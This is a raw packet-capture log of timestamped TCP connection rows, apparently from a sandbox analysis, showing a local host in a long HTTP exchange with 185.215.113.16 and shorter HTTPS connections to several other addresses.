Dec 9, 2024 23:09:43.469393969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.469500065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.469547987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.470272064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.470328093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.470366955 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.471259117 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.471359968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.471406937 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.472215891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.472341061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.472388983 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.473023891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.473047018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.473086119 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.473979950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.474160910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.474203110 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.474690914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.474751949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.474791050 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.475496054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.475584984 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.475626945 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.476361990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.476455927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.476563931 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.477232933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.477287054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.477333069 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.478087902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.478169918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.478213072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.478986979 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.479038954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.479079962 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.479852915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.480017900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.480060101 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.480742931 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.480811119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.481575012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.481678009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.482449055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.482549906 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.483339071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.483452082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.484250069 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.484373093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.485069036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.485157013 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.485972881 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.486032009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.486824989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.486922026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.487679958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.487792969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.488101959 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.488338947 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.488363028 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.488590002 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.488790989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.488936901 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.489418030 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.489522934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.489566088 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.490314960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.490600109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.490641117 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.491157055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.491271973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.491317987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.530235052 CET	443	49876	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.530411005 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.530823946 CET	443	49876	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.530939102 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.693876982 CET	443	49882	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:43.693965912 CET	49882	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:43.845653057 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.845676899 CET	443	49875	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.845731020 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.845822096 CET	443	49875	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.846129894 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.851937056 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.851948023 CET	443	49876	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.852057934 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.852116108 CET	443	49876	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.852384090 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.852404118 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.853889942 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.853938103 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.855684996 CET	49888	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.855695963 CET	443	49888	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.856909990 CET	49882	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:43.856928110 CET	443	49882	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:43.856985092 CET	49882	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:43.857068062 CET	443	49882	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:43.858719110 CET	49882	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:43.999073029 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:43.999084949 CET	443	49889	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:43.999243975 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:43.999475956 CET	49889	443	192.168.2.4	34.160.144.191
Dec 9, 2024 23:09:43.999485970 CET	443	49889	34.160.144.191	192.168.2.4
Dec 9, 2024 23:09:44.064538956 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:44.064618111 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:44.064661980 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:44.064716101 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:44.064728022 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:44.176601887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.179578066 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.307734013 CET	49892	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.314270973 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.330209970 CET	443	49885	35.244.181.201	192.168.2.4
Dec 9, 2024 23:09:44.330652952 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:44.334575891 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:44.334583998 CET	443	49885	35.244.181.201	192.168.2.4
Dec 9, 2024 23:09:44.334791899 CET	443	49885	35.244.181.201	192.168.2.4
Dec 9, 2024 23:09:44.337671041 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:44.337757111 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:44.337784052 CET	443	49885	35.244.181.201	192.168.2.4
Dec 9, 2024 23:09:44.339508057 CET	443	49884	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:44.342684984 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:44.342685938 CET	49884	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:44.346864939 CET	49884	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:44.346870899 CET	443	49884	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:44.346942902 CET	49884	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:44.347076893 CET	443	49884	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:44.351545095 CET	49884	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:44.373016119 CET	49874	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:44.373280048 CET	49893	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:44.427118063 CET	80	49892	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:44.427187920 CET	49892	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.427329063 CET	49892	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.433597088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.433748960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.433789015 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.434053898 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.434170008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.434222937 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.434897900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.435055017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.435100079 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.435753107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.435868025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.435909033 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.436650991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.436769009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.436815977 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.437509060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.437643051 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.437782049 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.438390017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.438534021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.438610077 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.439335108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.439466000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.439505100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.440144062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.440277100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.440319061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.440979004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.441051006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.441911936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.442140102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.442744017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.442914009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.443238974 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.443629026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.443728924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.444492102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.444627047 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.445424080 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.445538998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.446254969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.446304083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.447149038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.447204113 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.448055983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.448250055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.448827982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.448961973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.449790955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.449899912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.450635910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.450720072 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.451489925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.451627970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.452337027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.452436924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.453216076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.453327894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.454180002 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.454260111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.454437017 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.454701900 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.454755068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.454755068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.455087900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.455251932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.455878973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.455965042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.456691980 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.456804037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.457524061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.457596064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.457850933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.457889080 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.458406925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.458556890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.458597898 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.459340096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.459461927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.459506035 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.460186005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.460376024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.460432053 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.461100101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.461215973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.461431980 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.461919069 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.461935997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.462024927 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.462802887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.462924004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.463735104 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.463821888 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.464545012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.464644909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.465445995 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.465620041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.466314077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.466480970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.467104912 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.467153072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.467175007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.467456102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.467560053 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.468161106 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.468466043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.468877077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.468899965 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.468982935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.469770908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.469822884 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.469882011 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.470630884 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.470833063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.471635103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.471836090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.472372055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.472537041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.473263025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.473376036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.474124908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.474287033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.474523067 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.474896908 CET	49879	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.474992990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.475111008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.475871086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.475928068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.476741076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.476752996 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.476804972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.477592945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.477644920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.477757931 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.478333950 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.478457928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.478569031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.478893995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.479348898 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.479479074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.479630947 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.480212927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.480346918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.481103897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.481185913 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.482023954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.482089043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.482848883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.482955933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.483714104 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.483905077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.483927011 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.484698057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.484801054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.485450983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.485595942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.486078024 CET	49895	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:44.486097097 CET	443	49895	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:44.486314058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.486396074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.487221003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.487324953 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.488069057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.488203049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.488964081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.489051104 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.489136934 CET	49896	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:44.489662886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.489844084 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.489897966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.489989996 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.490045071 CET	49895	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:44.490047932 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.490685940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.490746021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.491579056 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.491692066 CET	49895	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:44.491699934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.491703033 CET	443	49895	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:44.491831064 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.492074966 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.492419004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.492470026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.492516994 CET	80	49893	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:44.492652893 CET	80	49874	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:44.492705107 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.492762089 CET	49874	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:44.492772102 CET	49893	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:44.493289948 CET	49893	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:44.493316889 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.493387938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.493653059 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.494177103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.494364023 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.494869947 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.495105982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.495117903 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.495425940 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:44.495910883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.495976925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.496784925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.496831894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.497642994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.497705936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.498492956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.498565912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:44.499418974 CET	80	49868	185.215.113.16	192.168.2.4
